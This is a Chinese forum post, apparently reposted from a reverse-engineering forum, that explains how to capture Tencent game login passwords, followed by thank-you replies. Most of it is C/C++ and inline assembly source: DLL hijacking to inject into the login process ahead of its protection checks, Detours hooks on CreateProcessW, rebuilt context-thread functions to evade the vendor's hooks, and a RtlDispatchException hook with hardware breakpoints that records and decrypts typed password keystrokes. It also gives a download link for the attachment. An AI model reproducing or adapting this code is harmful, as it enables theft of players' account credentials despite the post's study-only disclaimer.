【资料】TX游戏登陆密码截取(详细,附源码)
本帖最后由 skyinter 于 2016-4-8 00:05 编辑标 题: 【原创】TX游戏登陆密码截取(详细,高清有码)
作 者: anywhere杨
时 间: 2015-07-03,11:34:44
Ps:本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担
代码:
[*]此文重点:
[*]1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂)
[*]2、安装消息勾子,判断当前输入焦点
[*]3、自己构造ZwSetContextThread,和ZwGetContextThread
[*]4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码
[*]5、实现解密
1、构造rasadhlp.dll,可以使用看雪的dll劫持生成工具,生成代码,我忘了是哪位大神的了,先借用一下,等会上传到附件
因为TSALogin.exe是用登陆器打开的,所以只要在登陆器中做手脚就能注入TSALogin.exe,把劫持dll放到与登陆器相同目录,登陆器打开的时候,就会加载劫持dll。劫持dll再加载工作dll,然后工作dll中再做一些工作(请继续往下看)
[*]unsigned intWINAPI _WorkThread(void * lpPram)
[*]{
[*]TCHAR tcWorkDll;
[*]GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH);
[*]*( _tcsrchr(g_tcExeDir,'\\') +1 )=0;
[*]_stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll"));
[*]hTestModule=LoadLibrary(tcWorkDll);
[*]return 0;
[*]}
[*]
[*]BOOL APIENTRY DllMain( HMODULE hModule,
[*] DWORDul_reason_for_call,
[*] LPVOID lpReserved
[*] )
[*]{
[*]if (ul_reason_for_call == DLL_PROCESS_ATTACH)
[*]{//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等
[*] if(IsSpecifyProcessName(_T("tgp_daemon.exe")))
[*] {
[*] hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL);
[*] }
[*] using namespace AheadLib;
[*] return Load();
[*]}
[*]else if (ul_reason_for_call == DLL_PROCESS_DETACH)
[*]{
[*] using namespace AheadLib;
[*] Free();
[*]}
[*]return TRUE;
[*]}
2、工作dll(tencent_Login.dll),Hook CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测
[*]BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,
[*]BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
[*])
[*]{
[*]BOOL bRet =FALSE;
[*]CHAR tcText;
[*]if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) )
[*]{
[*] GetModuleFileNameA(g_hMod,tcText,MAX_PATH);
[*] return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
[*] bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess);
[*]}
[*]return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
[*] bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
[*]}
[*]
[*]void StartWork()
[*]{
[*]
[*]DetourTransactionBegin();
[*]DetourUpdateThread(GetCurrentThread());
[*]
[*]TCHAR tcText;
[*]TCHARlpProcessName={0} ;
[*]_tcscpy_s(lpProcessName, GetCurProcessName().c_str());
[*]
[*]if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) )
[*]{
[*] DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess);//HOOK CreateProcess,实现完美注入TSALogin.exe
[*]}
[*]if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) )
[*]{
[*] DWORD dwOldProtect;
[*] //自己构造ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的
[*] ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread");
[*] ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread");
[*] ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr);
[*] ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr);
[*]
[*] VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
[*] VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
[*]
[*] *(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9;
[*] *(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9;
[*] *(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5;
[*] *(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread-(DWORD)g_ZwSetContextThreadZone -5;
[*]
[*] /*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone);
[*] OutputDebugString(tcText);*/
[*]
[*] //Hook RtlDispatchException
[*] ProcessDispatchException(); //设置硬件断点,监视键盘输入
[*]
[*] g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId());
[*] OutputDebugString(_T("TSALogin.exe注入成功"));
[*]}
[*]DetourTransactionCommit();
[*]}
[*]
[*]extern void StartWork();
[*]BOOL APIENTRY DllMain( HMODULE hModule,
[*] DWORDul_reason_for_call,
[*] LPVOID lpReserved
[*] )
[*]{
[*]switch (ul_reason_for_call)
[*]{
[*]case DLL_PROCESS_ATTACH:
[*] g_hMod=hModule;
[*] StartWork();
[*] break;
[*]case DLL_THREAD_ATTACH:
[*] break;
[*]case DLL_THREAD_DETACH:
[*] break;
[*]case DLL_PROCESS_DETACH:
[*] break;
[*]}
[*]return TRUE;
[*]}
3、设置硬件断点监视键盘输入, 众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现 加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码
[*]BOOL RtlDispatchException(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext)
[*]{
[*]//好了,重点来了,因为要跳回去执行,所以必须先还原Ebp,Esp,否则将会出错
[*]//g_dwExceptionAddr 这个地址就是游戏的低层键盘勾子函数入口,在这个地方能获取到当前键盘的输入
[*]//把参数提取出来,传给FilterLowLevelMouseProc函数,进行过滤处理
[*]if( pExcptRec->ExceptionAddress == (VOID*)g_dwExceptionAddr )
[*]{
[*] g_dwEbp = pContext->Ebp;
[*] g_dwEsp=pContext->Esp;
[*] g_dwJmpAddr =pContext->Eip+5;
[*] __asm
[*] {
[*] mov ebp,g_dwEbp;//首先要还原执行环境,就是说还原成执行g_dwExceptionAddr这个地址函数之前的环境
[*] mov esp,g_dwEsp;
[*]
[*] push ebp; //手动构造栈空间
[*] mov ebp,esp;
[*] push ;//这3个参数是需要的,注意压栈顺序
[*] push ;
[*] push ;
[*] call FilterLowLevelMouseProc;
[*]
[*] mov esp,ebp; //还原栈空间了
[*] pop ebp;
[*]
[*] //这个地方不能改变,因为游戏就是这样子做的,如果变了,就没有加密虚键码了,用户就会登陆失败
[*] push 0x99354893;
[*] jmp g_dwJmpAddr;
[*] }
[*] return TRUE;
[*]}
[*]return FALSE;
[*]}ULONG WINAPI _RtlDispatchException( PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext )
[*]{
[*]ULONG uRet = 0;
[*]if(RtlDispatchException(pExcptRec,pContext))
[*] uRet= 1;
[*]else
[*] uRet= m_fnRtlDispatchException(pExcptRec,pContext);
[*]
[*]return uRet;
[*]}
[*]
[*]void ProcessDispatchException()
[*]{
[*]TCHAR tcText;
[*]DWORD dwOldProtect;
[*]DWORD dwKiUserExceptionDispatcher=(DWORD)::GetProcAddress(::GetModuleHandle(_T("ntdll")),"KiUserExceptionDispatcher");
[*]_stprintf_s(tcText,_T("dwKiUserExceptionDispatcher = 0x%x"),dwKiUserExceptionDispatcher);
[*]OutputDebugString(tcText);
[*]VirtualProtect((VOID*)dwKiUserExceptionDispatcher,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);
[*]
[*]if (dwKiUserExceptionDispatcher)
[*]{
[*] while (*(BYTE*)dwKiUserExceptionDispatcher!=0xE8)
[*] dwKiUserExceptionDispatcher++;//XP~Win7正常,Win8尚无缘得见
[*] m_fnRtlDispatchException=(pfnRtlDispatchException)((*(DWORD *)(dwKiUserExceptionDispatcher+1))+5+(DWORD)dwKiUserExceptionDispatcher);//得到原函数地址
[*]
[*] //Hook
[*] DWORD dwNewAddr=(DWORD)_RtlDispatchException-(DWORD)dwKiUserExceptionDispatcher-5;
[*] WriteProcessMemory((HANDLE)-1,(void*)(dwKiUserExceptionDispatcher+1),(BYTE *)&dwNewAddr,4,nullptr);
[*]}
[*]}
4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了 0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
代码:
[*]bool bPlainCase =true;
[*]intg_Key =0;
[*]voidWINAPI FilterLowLevelMouseProc(
[*]_In_int nCode,
[*]_In_WPARAM wParam,
[*]_In_LPARAM lParam
[*])
[*]{
[*] if(nCode == HC_ACTION)
[*] {
[*] PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam;
[*] if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) )
[*] {
[*] if( ::GetFocus() == g_hPwd )//判断是不是在输入密码
[*] {
[*] if( bPlainCase )//第一次来的是原始虚键码
[*] {
[*] if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )//小键盘的0-9,由于这几个键产生的字符是不能直接获取虚键码的,所以转换成主键盘区的0-9
[*] pKdb->vkCode -=48;
[*]
[*] g_Key=pKdb->vkCode;
[*] bPlainCase=false;
[*] }else//加密的虚键码了
[*] {
[*] if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
[*] pKdb->vkCode -=48;
[*] SetKeyPair(pKdb->vkCode,g_Key);//用std::<map>来保存密码键对,
[*] bPlainCase=true;
[*] }
[*] }
[*] }
[*] }
[*]}
5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密
[*]LRESULT CALLBACK GetMsgProc(__inint code,__inWPARAM wParam,__inLPARAM lParam
[*])
[*]{
[*]if( code == HC_ACTION )
[*]{
[*] MSG * pMsg =(MSG*)lParam;
[*]
[*] LONG dwStyle = GetWindowLong(pMsg->hwnd,GWL_STYLE);
[*] if( !g_hPwd &&
[*] dwStyle & ES_PASSWORD &&
[*] !( dwStyle&ES_MULTILINE) )
[*] {
[*] g_hPwd=pMsg->hwnd;
[*] }
[*]
[*] if( !g_hKeyboardHook && ::GetFocus() == g_hPwd)
[*] {
[*] if( GetModuleHandle(_T("fszwd.dat")) )
[*] SetMintor();
[*] }
[*]
[*] if( pMsg->message ==WM_CHAR )//用户输入的字符(已加密)
[*] {
[*] TCHAR tcTetxt={0};
[*] SHORT sVk=0;
[*] SHORT sOrgVk=0;
[*] if( IsCharNeed(pMsg->wParam) && ::GetFocus() ==g_hPwd)//同样判断是不是在输入密码
[*] {
[*] if( pMsg->wParam >='A' && pMsg->wParam <= 'Z' ) //大写的字母不能直接翻译成虚键码
[*] sVk =VkKeyScan(pMsg->wParam+0x20);
[*] else
[*] sVk = VkKeyScan(pMsg->wParam);
[*] sOrgVk = GetPlainVkcode(sVk); //通过加密虚键码获取到原始虚键码,前面已经保存了虚键码对,所以现在直接可以取出来用了
[*] if( sOrgVk )//解密
[*] {
[*] _stprintf_s(tcTetxt,_T("ascii码:%d,解密的字符:%c"),pMsg->wParam ,pMsg->wParam + sOrgVk - sVk);
[*] }else
[*] _stprintf_s(tcTetxt,_T("ascii码:%d,未解密的字符:%c"),pMsg->wParam ,pMsg->wParam);
[*]
[*] }else
[*] {
[*] _stprintf_s(tcTetxt,_T("没有加密的字符:%c"),pMsg->wParam);
[*] }
[*] OutputDebugString(tcTetxt);
[*] }
[*]}
[*]return CallNextHookEx(0,code,wParam,lParam);
[*]}
到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下
梦无极,硬件断点 hook的思路是从他的过驱动保护教程教程里面学习的
yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,
*转载请注明来自看雪论坛@PEdiy.com
屌丝:链接: https://pan.baidu.com/s/1nuA2FEx 密码: 1bka
吗的,你那只眼看到我写原创两个字了?@puppets
看也不看清楚就开始BB,最后面两个字看不清楚吗?
大神啊膜拜 感谢分享,有你更精彩 牛逼啊 不会用啊,看着不错的样子 谢谢楼主分享 大神,膜拜下 谢谢分享 牛逼啊,谢谢分享
页:
[1]
2